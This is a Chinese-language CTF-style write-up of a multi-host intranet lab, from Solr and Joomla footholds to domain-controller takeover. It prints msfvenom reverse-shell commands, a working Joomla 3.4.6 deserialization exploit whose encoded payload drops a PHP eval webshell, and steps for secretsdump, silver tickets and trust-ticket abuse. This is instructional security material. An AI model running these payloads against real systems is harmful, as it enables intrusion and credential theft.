@Author: Patrilic
@Time: 2019-12-12 14:32:22

题目拓扑

Linux1 - solr: 192.168.21.12

Linux2 - joomla!: 192.168.21.20

Backup.sub.iSoonLab.org: 192.168.21.8

subdc.sub.iSoonLab.org: 192.168.21.4 / 10.153.69.50

DC.iSoonLab.org: 10.153.69.5

image-20191201130447779

Linux1

目标:192.168.121.131

image-20191130235112082

开放8983端口,打开是solr未授权,8.1.1版本,联想到前段时间很火的Apache Solr RCE

https://www.freebuf.com/vuls/218730.html

根据网上的exp

http://192.168.121.131:8983/solr/admin/cores?wt=json&indexInfo=false

image-20191130235337378

存在iSoon core

image-20191130235734297

image-20191130235823000

确实没问题,弹个shell到本机来

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf

因为solr用户没有/tmp目录写权限, 可以参考@haya大手子的https://forum.90sec.com/t/topic/579

用perl来执行脚本

image-20191201002127259

flag就在当前目录

image-20191201002513741

当然,也可以在/var/tmp里写文件~

Linux2

简单侦查后,发现存在192.168.21.0/24网段

image-20191201002640156

使用msf自带的sock4a作代理即可,Linux1只是用来撕来流量口子

代理内网后,发现同网段存在三台机器

找到Linux2 : 192.168.21.20, 开放HTTP端口

image-20191201003644193

joomla-3.4.6版本,存在RCE,通过构造exp,拿到webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class JSimplepieFactory{

}

class JDatabaseDriverMysql{

}

class JDatabaseDriverMysqli
{
protected $xx;
protected $connection;
protected $disconnectHandlers;
protected $obj;
function __construct()
{
$this->xx = new JSimplepieFactory();
$this->connection = 1;
$obj = new SimplePie;
$this->disconnectHandlers = [
[$obj, "init"],
];
}
}

class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "system('echo \'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\'| base64 -d | bash');JFactory::getConfig();exit;";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}

$a = new JDatabaseDriverMysqli();
$ser = serialize($a);
echo $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
1
2
3
4
5
用户名:
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

密码:
MYP";s:2:"HS";O:21:"JDatabaseDriverMysqli":4:{s:5:"\0\0\0xx";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:149:"system('echo \'ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUW2FdKT8+IiA+IC9ob21lL3d3d3Jvb3QvZGVmYXVsdC8xLnBocA==\'| base64 -d | bash');JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:6:"\0\0\0obj";N;}

antsword连接后,在/tmp目录上传我们生成的msf木马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.21.12 LPORT=6666 -f elf > shell2.elf

image-20191201004320825

拿到shell后,查看uname

image-20191201004824374

内核版本比较低的桌面版本,存在CVE-2019-13272

EXP需要满足三个条件:

  1. 内核版本 < 5.1.17 且为桌面版
  2. 存在/home/\
  3. 交互式shell

image-20191201005023629

成功拿到第二个flag

Backup.sub.iSoonLab.org

回过来看web界面的提示

image-20191201005203360

放出了下一步的hint,查看已经安装的软件和python第三方库

image-20191201005355412

三条思路:

  1. 利用impacket和arpspoof进行中间人攻击

  2. 在本机上进行信息搜集,寻找到域成员机器的路子

  3. 系统漏洞 -> ms17010 .etc
  1. 中间人攻击使用ms15-014 和 ms15-011 进行组策略劫持,拿下域成员机器

  2. 翻机器的日志

  3. 有day上day~

###

简单方法:

通过.bash_history拿到mount命令,存有明文密码, 通过exploit/windows/smb/psexec即可拿到目标机器NT/SYSTEM

image-20191201013130568

中间人测试也是可行的,使用MS15-011劫持组策略,只是需要等待组策略生效 (默认90分钟)

<懒狗不想截图了>

subdc.iSoonLab.org

在backup机子上的C:\Backup翻到了注册表的存档

image-20191201014315000

下载下来使用secretsdump进行dump

image-20191201014547133

拿到服务账户后,用来构造白银票据,攻击subdc.sub.iSoonLab.org
(MS14068也可)

image-20191201015913467

(注意必须关闭Linux2中的arpspoof)

image-20191201020209077

第四个flag到手~~

DC.iSoonLab.org

最后就很简单啦,子父域中常见的双向信任,我们可以通过构造信任票据来进行攻击

利用信任票据

http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/

这里有一点小问题: 当指定krbtgt账户时,因为子父域中存在两个krbtgt账户,DCsync转储时可能爆NOT_UNIQUE,可以使用/all解决

利用dcsync 转储子域的所有hash

4624EF12-0825-4134-BFFE-AF47CF9CA4FB

04C766D7-B915-48FE-A381-3CA4DD18727D

使用/Ptt 进行信任票据传递即可

2A7C786C-5AA4-4AE2-8DE1-755DBFDE9382

拿到域控权限,flag在C:\Users\Administraotr\flag.txt中